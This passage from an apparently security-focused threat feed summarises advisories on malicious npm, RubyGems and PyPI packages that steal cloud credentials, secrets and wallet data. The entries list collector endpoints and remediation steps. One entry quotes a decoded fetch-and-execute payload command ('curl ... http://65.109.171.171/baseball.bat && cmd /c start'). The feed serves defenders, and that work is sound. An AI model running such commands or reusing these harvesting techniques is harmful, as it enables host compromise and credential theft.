v0.0.99, which mimics the AWS SDK namespace but ships no SDK functionality, was identified as malware by Amazon Inspector via the OpenSSF malicious-packages project and published to the GitHub Advisory Database on 2026-11-19. The gem exfiltrates credentials through two identical code paths: extconf.rb runs automatically during gem install via the gemspec extensions entry, and lib/runtime_payload.rb is loaded unconditionally on require. Both query EC2 IMDSv1/IMDSv2 at 169.254.169.254 for IAM role credentials, collect host fingerprints (hostname, whoami, uname, pwd, local IP), ECS task metadata, and environment variables matching DATABASE/MYSQL/POSTGRES/REDIS/RDS, then POST everything to a hardcoded webhook.site endpoint. A stub Makefile makes the build appear successful. There is no patched version; the gem has ~21 downloads/month. Do: Remove aws_sdk_wrapper 0.0.99 from all Gemfiles, lockfiles, and dependency trees; do not install or require it; Rotate all AWS IAM role credentials on any host where the gem was installed or required, and revoke active sessions; Rotate database credentials found in DATABASE/MYSQL/POSTGRES/REDIS/RDS environment variables on affected hosts; Audit CI/CD and build environments for the gem's presence and review egress logs for connections to webhook.site/4b2354a7-67fd-4641-92ac-e18bac8c09e8; Check CloudTrail and ECS metadata access logs for anomalous IMDS queries and block IMDS access where not needed (enforce IMDSv2 with hop limit) ### [critical] Typosquat credential-theft gems: gmo-payment / gmo-payment-carrier exfiltrate AWS IAM and DB secrets https://helix.ml/threat-watch/i/typosquat-credential-theft-gems-gmo-payment-gmo-payment-carrier-exfiltrate-aws-iam-and-db-secrets · Supply chain · no-fix-needed · since 2026-11-19 Two malicious RubyGems, gmo-payment and gmo-payment-carrier (both version 0.0.99, typosquats of GMO Payment Gateway's legitimate packages), were published with credential-theft code. At install time, extconf.rb collects host identity (hostname, user, uname, cwd, local IP), queries AWS IMDSv1/IMDSv2 for IAM role security credentials, reads ECS task metadata, and sweeps environment variables matching DATABASE/DB_/MYSQL/AURORA/POSTGRES/REDIS/RDS, exfiltrating everything via HTTP to a hardcoded webhook.site collector. The library entry points unconditionally require a runtime_payload stage that repeats the same harvest on every require, hitting installers, CI, and production hosts. No patched versions exist; the gems should be removed. Disclosed 2026-11-19 via GitHub Advisory Database (OpenSSF/amazon-inspector). Do: Immediately remove/uninstall gmo-payment and gmo-payment-carrier 0.0.99 from all Gemfiles, lockfiles, and hosts; Rotate any AWS IAM role credentials that could have been exposed via IMDS on affected install/CI/production machines; Rotate database, MySQL/Aurora/Postgres, and Redis credentials found in environment variables on those hosts; Audit install and CI logs and network egress for connections to webhook.site/4b2354a7-67fd-4641-92ac-e18bac8c09e8; Block egress to the collector endpoint and to 169.254.169.254 from build environments where feasible; enforce IMDSv2 with hop limit restrictions; Pin dependencies and verify gem provenance before installing ### [critical] ltidisafe dependency-confusion malware: malicious npm packages (@basis-theory-elements/api-client, @clikwraps/navigate, react-native-datepickerror) pull attacker-controlled tarball from GCS bucket https://helix.ml/threat-watch/i/ltidisafe-dependency-confusion-malware-malicious-npm-packages-basis-theory-elements-api-client-clikwraps-navigate-react · Supply chain · no-fix-needed · since 2026-11-19 GitHub Advisory Database (via OpenSSF and Amazon Inspector) published three malware advisories on 2026-11-19 for npm packages @basis-theory-elements/api-client@99.9.1, @clikwraps/navigate@99.9.1, and react-native-datepickerror@99.9.1. Each ships an empty index.js stub whose sole install-time effect is resolving a single dependency declared as a raw HTTPS tarball URL pointing to a Google Cloud Storage bucket (ltidi.storage.googleapis.com/depenconf/ltidisafe-4.0.x.tgz), with no version pin, integrity hash, or provenance check. Installing any of these packages fetches and executes whatever the bucket serves, giving the bucket owner arbitrary code execution on the installer's host. The names shadow a vendor scope or typosquat react-native-datepicker, and the implausibly high 99.9.1 versions indicate dependency-confusion/typosquat lures. No patched versions exist; removal is the only remediation. Do: Audit lockfiles and installed node_modules for @basis-theory-elements/api-client, @clikwraps/navigate, react-native-datepickerror, and any dependency named ltidisafe; remove them immediately; Treat any machine that installed these packages as compromised: rotate credentials, secrets, tokens and keys accessible from CI and developer environments; Block the domain ltidi.storage.googleapis.com and audit egress/proxy logs for fetches to it; Pin all dependencies to registry versions with integrity hashes; forbid HTTPS tarball URLs in manifests via policy or tooling; Enable dependency-confusion protections (scoped registry allowlists, npm --ignore-scripts in CI) and scan for other packages with tarball-URL dependencies ### [critical] Zip-slip traversal tar in @h1stealthy/gh046-npm-transfer-9421a2 npm package https://helix.ml/threat-watch/i/zip-slip-traversal-tar-in-h1stealthy-gh046-npm-transfer-9421a2-npm-package · Supply chain · no-fix-needed · since 2026-11-19 GitHub Advisory Database (GHSA-5fv6-9w6w-23xh, credited to OpenSSF/amazon-inspector) flags the npm package @h1stealthy/gh046-npm-transfer-9421a2 as malicious. Its tarball contains directory entries with double-URL-encoded '..' sequences (%252e%252e/...) targeting /tmp/npm-traversal-double_percent outside the package's install directory. On extractors that single-decode percent-encoding before path-safety checks, npm install would write attacker-chosen files to arbitrary filesystem paths (zip-slip-style path traversal). The shipped JavaScript is an inert stub with no lifecycle scripts; the attack surface is the archive layout itself. Versions 0.0.386387, 0.0.386388 and 0.0.95891 are affected with no patched versions; the package naming and marker payload suggest a controlled traversal probe rather than an active campaign. Do: Check lockfiles and dependency trees for @h1stealthy/gh046-npm-transfer-9421a2 and remove/block it immediately; Audit hosts where installs ran for unexpected files at /tmp/npm-traversal-double_percent or other out-of-directory writes; Block the package and its versions at registry proxy/firewall level; Prefer installers/extractors that validate paths after full decoding to resist double-encoded traversal ### [critical] @lasha_lasha/helper (npm): malicious package exfiltrates session cookies via POST to /addPost (no CVE) https://helix.ml/threat-watch/i/lasha-lasha-helper-npm-malicious-package-exfiltrates-session-cookies-via-post-to-addpost-no-cve · Supply chain · no-fix-needed · since 2026-11-19 The npm package @lasha_lasha/helper version 1.0.0 was identified as malicious by Amazon Inspector and published to the GitHub Advisory Database (GHSA-v32q-85mq-fg78) on 2026-11-19. Its main entry contains a browser-targeted script with no legitimate functionality that reads document.cookie and POSTs it with an 'EXFIL:' prefix to a same-origin /addPost endpoint via fetch. Any developer who bundles or injects the module into a web page causes their users' session cookies to be exfiltrated to a collector endpoint. There are no patched versions; the package is malware and should be removed entirely. Affected consumers should treat exposed session cookies as compromised and rotate/invalidate sessions. Do: Remove @lasha_lasha/helper from all dependencies, lockfiles and bundles; audit builds for its presence; Invalidate and rotate session cookies/tokens for users of any site that bundled the package; Review server logs for POSTs to /addPost with 'EXFIL:' payloads to identify exfiltration; Audit other dependencies from this publisher and enable npm provenance/supply-chain scanning ### [critical] XOR-decoded dropper npm packages ('theskyisbeautiful' key): calcultimatetest, calcurender, calkyippie — RCE on require() https://helix.ml/threat-watch/i/xor-decoded-dropper-npm-packages-theskyisbeautiful-key-calcultimatetest-calcurender-calkyippie-rce-on-require · Supply chain · no-fix-needed · since 2026-11-19 GitHub advisories published 2026-11-19 flag three typosquat-style npm calculator packages — calcultimatetest, calcurender and calkyippie (all v1.0.0) — as malicious droppers. On require(), each main.js reads a hex blob from a package.json field ('signature' or 'integrity', the latter impersonating npm lockfile metadata), XOR-decodes it with the key 'theskyisbeautiful' from config.json, and after a randomized 0–5 second delay passes the decoded string to child_process.exec. The payload begins 'EXEC_MODE=1; curl -fSL http://65.109.171.171/baseball.bat && cmd /c start /b...', fetching and executing a Windows batch payload over plain HTTP from a bare IP. Mandelbrot busy-loops, DISCLOSURE files and README name mismatches serve as cover. calcultimatetest also rewrites its installed package.json to insert a sha256-derived signature, adding a tamper surface. No patched versions exist; packages should be treated as compromised. Do: Remove and purge calcultimatetest, calcurender and calkyippie from all dependency trees; audit lockfiles for these names and versions 1.0.0; Treat any machine that required these packages as compromised: inspect for outbound connections to 65.109.171.171, downloaded .bat files, and persistence mechanisms; Block network egress to 65.109.171.171 and alert on plain-HTTP fetch-and-execute patterns (curl piped to cmd /c); Check installed package.json files for unexpected 'signature' or 'integrity' hex fields and re-verify integrity of installed artifacts; Rotate credentials and secrets accessible from affected build/developer machines; Pin dependencies and require provenance/attestation checks in CI before installing unvetted npm packages ### [critical] character-ai-sdk / char-ai-sdk (npm): malicious dropper with VM-detection executes on import (no CVE) https://helix.ml/threat-watch/i/character-ai-sdk-char-ai-sdk-npm-malicious-dropper-with-vm-detection-executes-on-import-no-cve · Supply chain · no-fix-needed · since 2026-11-19 Two typosquat-style npm packages posing as AI persona/memory SDKs — character-ai-sdk (v1.0.0, v1.0.1) and char-ai-sdk (v1.0.0) — were published to the GitHub Advisory Database on 2026-11-19 as malware (CWE-506). The main entrypoint top-level imports cache-warm.mjs, a ~300 KB obfuscator.io-style blob (base64+XOR string array) that decodes to process-control and host-enumeration code executed on require/import, giving arbitrary code execution. Three sibling obfuscated blobs (build-cache.mjs, cache-sweep.mjs, workspaces.js) are staged alongside, and the tarballs ship cross-platform native addons (cache-probe.node) exporting a vendored VM/sandbox-detection library (QEMU, VirtualBox, Docker, WSL, DMI, MAC checks), consistent with a sandbox-evading dropper. No patched versions exist; anyone who installed or imported these packages is affected and should treat hosts as compromised. Do: Immediately uninstall character-ai-sdk and char-ai-sdk from all projects and lockfiles; Treat any machine or CI runner where the packages were installed or imported as compromised; rebuild from trusted images; Rotate credentials, tokens, and secrets accessible from affected environments; Audit networks for outbound connections from build/dev hosts around install times; Block the package names in npm proxy/registry policy and scan dependency trees for them ### [critical] fh-skeleton-web RubyGems gem exfiltrates system files at gem install time https://helix.ml/threat-watch/i/fh-skeleton-web-rubygems-gem-exfiltrates-system-files-at-gem-install-time · Supply chain · no-fix-needed · since 2026-11-19 The RubyGems package fh-skeleton-web version 1.0.1 contains malicious install-time code flagged by Amazon Inspector and catalogued by OpenSSF and GitHub as malware (GHSA-w9cm-wm83-69r3, CWE-506). Its extension script runs during gem install, opens a TLS connection to the hardcoded Burp Suite Collaborator host d8mjdyfukgwrvkth4n83toa0xr3iu6ku9.oastify.com on port 443, and POSTs the installer's hostname, username, working directory, home directory, and contents of /etc/passwd, /etc/hosts, and /etc/resolv.conf. It also resolves the same subdomain via Resolv.getaddress as a DNS-channel beacon, confirming exfiltration even when TCP egress is filtered. The package claims to be a demo skeleton with no legitimate reason for these actions. No patched version exists; the gem should be treated as compromised and removed. Do: Check whether fh-skeleton-web 1.0.1 was installed on any host; remove it and treat those hosts as compromised; Rotate credentials and review data exposed in /etc/passwd, /etc/hosts, /etc/resolv.conf on affected machines; Block egress and DNS resolution to *.oastify.com; Audit gem install logs and CI pipelines for installs of this package; Prefer pinned, vetted dependencies and scan install-time extension scripts ### [critical] Malicious npm packages: tajul-avengers, prettier-plugin-solidity-import-order, lupedsagaces, teick — full system compromise on install https://helix.ml/threat-watch/i/malicious-npm-packages-tajul-avengers-prettier-plugin-solidity-import-order-lupedsagaces-teick-full-system-compromise-on · Supply chain · no-fix-needed · since 2026-11-19 On 2026-11-19 GitHub published four malware advisories for npm packages tajul-avengers (GHSA-ph54-72p2-732v, ~3,209 downloads/month), prettier-plugin-solidity-import-order (GHSA-9546-39ph-2v3p), lupedsagaces (GHSA-3j9x-9vw3-5j8m) and teick (GHSA-h8xq-3qvf-p57g). All versions (>= 0) are affected, no patched versions exist, and each is classified CWE-506 Embedded Malicious Code at critical severity. GitHub states any computer with these packages installed or running should be considered fully compromised, with control potentially given to an outside entity; removing the package does not guarantee removal of all malicious software. No source code repository is known for the packages. Developers and CI systems that installed any of these packages are affected; there is no fix other than removal and full incident response. Do: Immediately stop using and remove the packages tajul-avengers, prettier-plugin-solidity-import-order, lupedsagaces and teick from all projects, lockfiles and CI caches; Treat every machine or CI runner where they were installed as fully compromised; rotate all secrets, keys, tokens and credentials from a clean machine; Rebuild affected systems from trusted images and audit for persistence, as removal may not eliminate implanted malware; Review npm dependency trees and lockfiles for these packages and block them in registry proxies/allowlists; Check access and audit logs for signs of exfiltration or unauthorized use of rotated credentials ### [medium] Fake GTA 6 PC download malware campaign — gamers — sites posing as free GTA 6 PC downloads deliver infostealer malware targeting passwords, browser data and crypto wallets https://helix.ml/threat-watch/i/fake-gta-6-pc-download-malware-campaign-gamers-sites-posing-as-free-gta-6-pc-downloads-deliver-infostealer-malware-targe · Supply chain · no-fix-needed · since 2026-11-18 A confirmed malware campaign distributes infostealer software through websites offering a supposed free PC version of Grand Theft Auto VI. The malware is designed to steal passwords, browser data and cryptocurrency wallet information from victims who download and run the fake installer. The campaign piggybacks on hype around GTA 6, which is scheduled to launch Nov. 19, 2026 on PlayStation 5 and Xbox Series X|S; no PC version exists, making any such download inherently fraudulent. Victims are consumers, not organisations. Rockstar Games has not been breached. Mitigation is user awareness: obtain games only from official storefronts, avoid unofficial download sites, and use up-to-date endpoint protection. Do: Warn staff and users not to download 'GTA 6 PC' installers from unofficial sites — no PC version exists; Block known fake-download domains at the proxy/DNS level; Ensure endpoint protection detects the infostealer family and alert on crypto-wallet or browser credential theft indicators; Remind users to keep cryptocurrency wallets and password vaults protected with strong authentication ### [critical] Malicious npm packages crypapiapi and *-notthedevs — full machine compromise via embedded malware (no CVE) https://helix.ml/threat-watch/i/malicious-npm-packages-crypapiapi-and-notthedevs-full-machine-compromise-via-embedded-malware-no-cve · Supply chain · no-fix-needed · since 2026-11-19 On 2026-11-19 GitHub published four malware advisories for npm packages: crypapiapi, mangodjbgd-notthedevs, pearmwr0w0-notthedevs and lemono0geg-notthedevs. All versions (>= 0) are affected, with no patched versions available, and the packages are classified as embedded malicious code (CWE-506). GitHub's guidance states any machine with these packages installed or running should be considered fully compromised, with control potentially handed to an outside entity. Combined downloads are low (mangodjbgd-notthedevs ~9/month, pearmwr0w0 ~2/month, lemono0geg ~119/month), limiting reach, but any installation is treated as active compromise. Removal of the package alone is not guaranteed to remove the malicious software. No fix exists; remediation is removal plus full incident response. Do: Rotate all secrets, keys, tokens and credentials stored on or accessible from affected machines immediately, using a clean computer; Remove the packages from all projects and lockfiles and block them in your registry/proxy; Rebuild affected machines from trusted images; do not assume removal cleans the infection; Audit install and CI logs for when the packages were introduced and what ran; Review npm dependency trees for typosquat or related malicious packages before reinstalling ### [critical] Malicious npm packages pearx93qja-notthedevs and coconutb0o-notthedevs compromise hosts https://helix.ml/threat-watch/i/malicious-npm-packages-pearx93qja-notthedevs-and-coconutb0o-notthedevs-compromise-hosts · Supply chain · no-fix-needed · since 2026-11-19 On 2026-11-19 GitHub added two malware advisories for npm packages pearx93qja-notthedevs (GHSA-m7r5-qm6f-c6q7) and coconutb0o-notthedevs (GHSA-v2qf-6ffc-j86r), both flagged CWE-506 Embedded Malicious Code with critical severity. Every version (>= 0) is affected and no patched versions exist, so the packages cannot be safely used at all. GitHub's standard malware wording warns that any computer with the package installed or running should be considered fully compromised, implying credential and secret theft with possible persistence. Both packages have no known source code and very low download volumes (6 and 123 per month), suggesting a freshly published typosquat/spray campaign rather than a wide breach. Removal alone may not eliminate implanted malware. Do: Rotate all secrets, keys, and credentials that were on any machine where either package was installed, using a clean machine; Remove both packages and rebuild/reimage affected hosts; do not assume removal fully cleans the system; Audit dependency lockfiles and CI caches for either package name and block them in registry allowlists/proxies; Review npm install and CI logs for the period since installation for signs of execution or exfiltration; Check for persistence mechanisms and unexpected network connections on affected machines ### [critical] Malicious npm packages (@mrnima/*): four npm packages flagged as malware — full machine compromise, no patched versions https://helix.ml/threat-watch/i/malicious-npm-packages-mrnima-four-npm-packages-flagged-as-malware-full-machine-compromise-no-patched-versions · Supply chain · no-fix-needed · since 2026-11-19 On 2026-11-19 GitHub published four malware advisories against npm packages apparently tied to the same publisher: @mrnima/facebook-downloader (~15K downloads/month), mrnima-baileys, nima-google-now, and queen-elisa-sticker-maker. All versions (>= 0) are affected, with no patched versions available, and each is classified CWE-506 Embedded Malicious Code at critical severity. GitHub's guidance states any machine with these packages installed or running should be considered fully compromised, implying attacker control of the host and access to secrets and keys. Removal of the packages does not guarantee removal of the malicious software. Any developer, CI system, or end user who installed any of these packages is affected. Do: Stop using and uninstall all four packages from every machine, CI runner, and dependency tree; Rotate all secrets, API keys, tokens, and credentials stored on or accessible from affected machines, from a clean computer; Rebuild/reimage compromised machines and audit for persistence mechanisms; Audit logs and network traffic for signs of exfiltration or attacker access; Pin clean dependencies and add malware-advisory scanning to CI ### [critical] rmraf npm package is malware — full machine compromise, no safe version https://helix.ml/threat-watch/i/rmraf-npm-package-is-malware-full-machine-compromise-no-safe-version · Supply chain · no-fix-needed · since 2026-11-19 GitHub published advisory GHSA-mr2f-4c3p-9j9w on 2026-11-19 flagging the npm package rmraf as malware (CWE-506, embedded malicious code). Every version (>= 0) is affected and no patched version exists, so the package cannot be safely used at all. GitHub's guidance states any computer with the package installed or running should be considered fully compromised, implying attacker control of the machine and access to secrets and keys. The package had roughly 1,426 monthly downloads and 18 dependent repositories, so downstream projects and CI environments may be affected. Removal of the package alone is not guaranteed to remove all malicious software planted during installation. There is no fix; remediation is incident response: rotate credentials and rebuild affected systems. Do: Rotate all secrets, keys, and credentials that existed on any machine where rmraf was installed, using a clean machine; Remove rmraf from all projects, lockfiles, and CI pipelines and audit for other malicious dependencies; Rebuild/reimage affected machines and CI runners rather than trusting cleanup; Audit logs and network traffic for signs of exfiltration or attacker access; Pin dependencies and add malware/scanning checks to prevent reintroduction ### [critical] Malicious npm package ios-news — full system compromise via embedded malware (no CVE) https://helix.ml/threat-watch/i/malicious-npm-package-ios-news-full-system-compromise-via-embedded-malware-no-cve · Supply chain · no-fix-needed · since 2026-11-19 GitHub published advisory GHSA-8qfh-wjm9-48gh on 2026-11-19 flagging the npm package ios-news as malware (CWE-506, Embedded Malicious Code). All versions (>= 0) are affected and no patched version exists. The advisory states any computer with the package installed or running should be considered fully compromised, implying the malware grants attackers full control of the host, enabling theft of secrets, keys and credentials and persistence beyond simple package removal. The package sees ~1804 downloads per month with 2 dependent repositories, so downstream projects may have pulled it in transitively. There is no fix; remediation is removal plus full incident response on affected machines. Do: Rotate all secrets, keys and credentials stored on machines where ios-news was installed, using a clean computer; Remove the ios-news dependency and rebuild/redeploy affected projects from clean environments; Reimage or thoroughly forensically clean affected machines; assume persistence beyond package removal; Audit lockfiles and dependency trees for ios-news and block it in CI/CD and registry proxies; Review access logs and monitor for suspicious activity from affected hosts ### [critical] Malicious npm package tech-news-scraper — full machine compromise for all versions (no CVE) https://helix.ml/threat-watch/i/malicious-npm-package-tech-news-scraper-full-machine-compromise-for-all-versions-no-cve · Supply chain · no-fix-needed · since 2026-11-19 GitHub's malware advisory database published GHSA-w93h-mf3h-5wrv on 2026-11-19 flagging the npm package tech-news-scraper as embedded malicious code (CWE-506). All versions (>=0) are affected and no patched version exists, so any installation is considered a compromise. GitHub's guidance states that any computer with the package installed or running should be treated as fully compromised, with full control potentially handed to an outside entity, and removal of the package does not guarantee removal of all malicious software. The package sees roughly 1,059 downloads per month with 3 dependent repositories, so downstream users and their build or production environments are at risk of secret and key theft. There is no fix; remediation is removal plus credential rotation and host forensics. Do: Immediately stop using and uninstall tech-news-scraper from all projects and environments; Rotate all secrets, keys, tokens and credentials stored on affected machines, from a clean computer; Rebuild affected machines or containers from trusted images; do not assume removal of the package cleaned the host; Audit npm lockfiles and dependency trees for tech-news-scraper and any transitive dependents; Review logs and network traffic for signs of attacker access following installation ### [critical] Malicious npm package arenaev-vehicles-news compromises installer machines https://helix.ml/threat-watch/i/malicious-npm-package-arenaev-vehicles-news-compromises-installer-machines · Supply chain · no-fix-needed · since 2026-11-19 GitHub's advisory database published GHSA-5pcf-6xmr-rc94 on 2026-11-19 flagging the npm package arenaev-vehicles-news as malware (CWE-506, embedded malicious code). All versions (>= 0) are affected and no patched version exists. The advisory states any computer with the package installed or running should be considered fully compromised, implying the malicious code hands control to an outside entity, enabling secret and key theft. The package is low-traffic (~13 downloads/month, 2 GitHub stars), limiting reach, but any installation is treated as a successful compromise. Removal of the package is not guaranteed to remove the malicious software. No fix is possible; the only remediation is removal plus full incident response. Do: Treat any machine with arenaev-vehicles-news installed as fully compromised; isolate it; Rotate all secrets, keys, and credentials stored on or accessible from affected machines, from a clean computer; Remove the package and rebuild/reimage affected systems; do not assume removal fully cleans the machine; Audit dependency trees and CI caches for the package and block it in registries/proxies; Review logs for signs of attacker activity following installation ### [critical] Malicious npm package gms-mobile-news — full compromise of installed machines; rotate all secrets (no CVE) https://helix.ml/threat-watch/i/malicious-npm-package-gms-mobile-news-full-compromise-of-installed-machines-rotate-all-secrets-no-cve · Supply chain · no-fix-needed · since 2026-11-19 GitHub's advisory database published a malware advisory for the npm package gms-mobile-news (GHSA-9xg6-v4wj-vr3v), flagged as CWE-506 embedded malicious code. All versions (>= 0) are affected and no patched version exists; the package has been removed from legitimate use and should be treated as fully compromising any machine where it was installed or run. The advisory states attackers may have gained full control of affected computers, so secrets and keys stored on them must be rotated from a clean machine, and removal of the package does not guarantee removal of all malicious software. Low distribution (~69 downloads/month) limits reach, but any installation warrants full incident response. Do: Treat any machine with gms-mobile-news installed or executed as fully compromised; isolate it; Rotate all secrets, keys, and credentials stored on affected machines, from a clean computer; Remove the package and rebuild/reimage affected systems; audit for persistence; Audit npm lockfiles and CI environments for the package and block it in dependency checks ### [critical] @mrnima npm packages: four packages flagged as malware — full machine compromise, no safe version https://helix.ml/threat-watch/i/mrnima-npm-packages-four-packages-flagged-as-malware-full-machine-compromise-no-safe-version · Supply chain · no-fix-needed · since 2026-11-19 On 2026-11-19 GitHub published four malware advisories covering every published version of four npm packages from the same publisher: @mrnima/wabetainfo, @mrnima/instagram-downloader, @mrnima/local-database-manager and mrnima-moviedl (the latter with ~9,882 downloads/month). The advisories state any machine with these packages installed or running should be considered fully compromised, with control potentially handed to an outside entity; CWE-506 embedded malicious code. No patched versions exist and no source code is known, so removal alone cannot guarantee remediation. Anyone who installed any version of these packages is affected; secrets and keys on those machines must be treated as stolen. Do: Immediately stop using and uninstall all four packages from every machine, CI runner and container image; Rotate all secrets, API keys, tokens and credentials stored on or accessible from affected machines, using a clean device; Rebuild affected systems from trusted images; do not assume removal of the package removed the malware; Audit install history, lockfiles and CI logs for any use of these packages and check for persistence or outbound connections; Block the package names in internal registries/proxies to prevent reintroduction ### [critical] Malicious npm packages: temporary-uploader, sinhala-cricket-newsjs, pastebin-reup, node-json-manager — full host compromise https://helix.ml/threat-watch/i/malicious-npm-packages-temporary-uploader-sinhala-cricket-newsjs-pastebin-reup-node-json-manager-full-host-compromise · Supply chain · no-fix-needed · since 2026-11-19 On 2026-11-19 GitHub published four malware advisories (GHSA-j46w-5jjm-pqc5, GHSA-548m-8xp5-jgp2, GHSA-f46p-hww7-5hvm, GHSA-45m5-7r63-4q29) flagging the npm packages temporary-uploader, sinhala-cricket-newsjs, pastebin-reup and node-json-manager as embedded malicious code (CWE-506). Every published version is affected and no patched versions exist, so the packages cannot be safely used. GitHub's standard malware guidance states any machine with these packages installed or running should be considered fully compromised, with attacker control of secrets and keys. Download volumes are small (1–26 per month), limiting reach, but any installation grants full host compromise. Remediation is removal of the packages plus credential rotation from a clean machine, since uninstalling may not remove implanted malware. Do: Immediately remove temporary-uploader, sinhala-cricket-newsjs, pastebin-reup and node-json-manager from all machines, builds and CI pipelines; Rotate all secrets, API keys, tokens and credentials stored on or accessible from affected machines, using a clean computer; Rebuild affected systems from trusted images; do not assume uninstall removed the malicious software; Audit dependency lockfiles and install history for these packages and block them in registries/proxies; Review logs for signs of exfiltration or attacker activity following any installation ### [critical] agent-framework (PyPI): malicious 1.26.1 and 1.26.2 steal Azure, Azure DevOps and GitHub Actions secrets https://helix.ml/threat-watch/i/agent-framework-pypi-supply-chain-compromise-microsoft-agent-framework-malicious-1-26-1-1-26-2-releases-steal-azure-azur · Supply chain · no-fix-needed · since 2026-11-17 On 2026-11-17 two releases of agent-framework, the PyPI meta-package for Microsoft Agent Framework, were malicious. 1.26.1 (wheel only) appeared at 20:35 UTC and 1.26.2 (wheel only) at 21:08 UTC, both published under the legitimate publisher with valid credentials; the rest of each wheel matches the clean 1.26.0 (per OSV). Each adds a startup hook that Python runs at every interpreter start, so importing the package is not needed: agent_framework_meta.pth in 1.26.1 and af_runtime_diag.pth in 1.26.2. The hook launches a detached collector that reads environment variables, credential files and other processes' environments, requests fresh Azure managed-identity, Azure DevOps and (in 1.26.2) GitHub Actions OIDC tokens, and posts them compressed to a webhook.site URL. Both versions were gone from PyPI by about 21:20 UTC, and 1.26.0 is the last clean release. Aikido says how the publishing access was obtained is not yet known; OpenSourceMalware reports that PyPI quarantined the publisher and the actor is believed to still have access, but no PyPI or Microsoft statement confirms either point. Removal stops future runs but does not undo exfiltration, so any machine or runner that installed either version must be treated as credential-compromised and every reachable secret rotated. Fixed: agent-framework 1.26.0 Do: Check pip show agent-framework and search site-packages (including CI caches and container images built since Nov 17) for agent_framework_meta.pth, af_runtime_diag.pth, af_runtime_diag.py or agent_framework_meta/_telemetry.py; inspect every executable .pth line in site-packages; remove and rebuild affected environments; Pin agent-framework==1.26.0 and rebuild all affected environments and images; Rotate every secret the affected machine could reach: Azure DevOps PATs and service connections, Azure service principal credentials, GitHub, npm, PyPI, Hugging Face tokens, Docker registry credentials, and .env contents; Treat secrets readable from other processes' environments on a shared runner or host as compromised; the collector scrapes /proc/*/environ; Revoke GitHub Actions and Azure DevOps runtime tokens and invalidate OIDC-derived sessions where possible; review Azure activity for managed-identity token use by affected workloads; Review Entra ID sign-in logs for service principals and federated credentials used by pipelines and workflows; Search proxy and DNS logs for the UUID-specific path https://webhook.site/d381fd80-ec62-42ad-8f5c-d1b15103c9bb (query ?t=telemetry; User-Agent runtime-diagnostics/1 or af-runtime-diagnostics/1); the bare webhook.site domain is a shared service, so do not block it on its own ### [critical] OneCode npm malware: @onescience/onecode, onecode-web and onecode-linux-x64 fully compromise installed machines https://helix.ml/threat-watch/i/onecode-npm-malware-onescience-onecode-onecode-web-and-onecode-linux-x64-fully-compromise-installed-machines · Supply chain · no-fix-needed · since 2026-11-18 On 2026-11-18 GitHub published malware advisories (CWE-506) for three npm packages: @onescience/onecode (~8,125 downloads/month), @onescience/onecode-web (~5,225 downloads/month) and onecode-linux-x64. Every published version (>= 0) is flagged as embedded malicious code with no patched versions, meaning the packages themselves are malware rather than a compromised release. Any machine with these packages installed or running must be considered fully compromised, with attacker control implying potential secret and key theft and persistence that removal of the package may not undo. No fix exists; remediation is removal plus credential rotation and host rebuild. Do: Treat any machine with these packages installed as fully compromised; isolate and rebuild it; Rotate all secrets, keys, tokens and credentials stored on or accessible from affected machines, from a clean computer; Remove the packages from all projects, lockfiles and CI pipelines and block them in your registry/proxy allowlists; Audit build systems and developer workstations for the packages and signs of compromise; Check npm audit logs and internal telemetry for installs of the packages ### [critical] Malicious npm package create-saint — full system compromise on install (no CVE) https://helix.ml/threat-watch/i/malicious-npm-package-create-saint-full-system-compromise-on-install-no-cve · Supply chain · no-fix-needed · since 2026-11-18 GitHub's malware advisory database flagged the npm package create-saint as embedded malicious code (CWE-506), published 2026-11-18. All versions (>= 0) are affected and no patched version exists; the package has been removed from legitimate use and should be treated as malware. Anyone who installed or ran it should assume the machine is fully compromised, with an outside party potentially holding full control, enabling theft of secrets, keys and credentials and further persistence. Reach appears limited (~65 downloads/month), but any install is a compromise. There is no fix — remediation is removal plus full incident response on affected hosts. Do: Rotate all secrets, keys, tokens and credentials stored on or accessible from affected machines, using a clean computer; Isolate and rebuild/reimage any machine where the package was installed or run; do not trust removal of the package alone; Check npm projects and lockfiles for create-saint and remove it from all dependencies; Review logs and network traffic for signs of attacker access or data exfiltration; Audit CI/CD and developer environments that may have installed the package ### [critical] Malicious npm packages expresstokyo and nodetokyo — full host compromise, secret theft (no CVE) https://helix.ml/threat-watch/i/malicious-npm-packages-expresstokyo-and-nodetokyo-full-host-compromise-secret-theft-no-cve · Supply chain · no-fix-needed · since 2026-11-18 GitHub's Advisory Database published malware advisories on 2026-11-18 for two npm packages, expresstokyo (GHSA-mjg5-fmpm-vgfv, ~44 downloads/month) and nodetokyo (GHSA-gx35-phhv-wc8w). Both are flagged CWE-506 embedded malicious code with all versions (>= 0) affected and no patched versions, meaning the packages are malware rather than a compromised legitimate library. GitHub's standard malware guidance states any computer with the packages installed or running should be considered fully compromised, with attackers potentially having full control and access to secrets and keys. Any developer or CI system that installed either package is affected; removal alone may not eliminate the malicious software. No fixed versions exist; remediation is removal plus credential rotation and host forensics. Do: Remove expresstokyo and nodetokyo from all machines, builds and CI immediately; Rotate all secrets, keys and credentials stored on affected machines, from a clean computer; Rebuild affected machines or run thorough malware forensics; removal may not clear all malicious software; Audit dependency lockfiles and install history for exposure to either package; Block the packages in internal registries and monitor for related typosquat variants ### [critical] Solana typosquat infostealer campaign: anchorpy-utils, solana-py-utils, solana-utils-terminalmoney1 (PyPI) — pip install exfiltrates SSH/AWS keys, .env secrets and MetaMask/Phantom wallet data to ntfy.sh https://helix.ml/threat-watch/i/solana-typosquat-infostealer-campaign-anchorpy-utils-solana-py-utils-solana-utils-terminalmoney1-pypi-pip-install-exfilt · Supply chain · no-fix-needed · since 2026-11-18 Three malicious PyPI packages — anchorpy-utils 1.98.2, solana-py-utils 1.98.2/1.98.3, and solana-utils-terminalmoney1 1.98.2/1.98.3 — were published as typosquats of the legitimate solana-py project. Their setup.py overrides the install command to run a bundled hxboot.py stealer during pip install on any platform building the sdist. The stealer harvests SSH private keys, AWS credentials, .npmrc, .netrc, .pypirc, kube/docker/gh/gcloud configs, Solana keypair files, .env files, *.pem/*.key material and secret-matching environment variables, and scrapes Chrome/Chromium/Brave/Edge LevelDB stores for MetaMask and Phantom wallet extensions. Data is base64-encoded, chunked and POSTed to a hardcoded ntfy.sh topic tagged with the victim's hostname. Anyone who pip-installed these versions is compromised; no fixed versions exist — the packages must be avoided and removed. Do: Check pip logs/environments for anchorpy-utils, solana-py-utils or solana-utils-terminalmoney1 and uninstall immediately if present; Treat any machine where these were installed as compromised: rotate SSH keys, AWS/cloud credentials, npm/PyPI tokens, and all secrets found in .env files; Move any Solana or other crypto wallet keys stored on affected hosts to new keypairs and 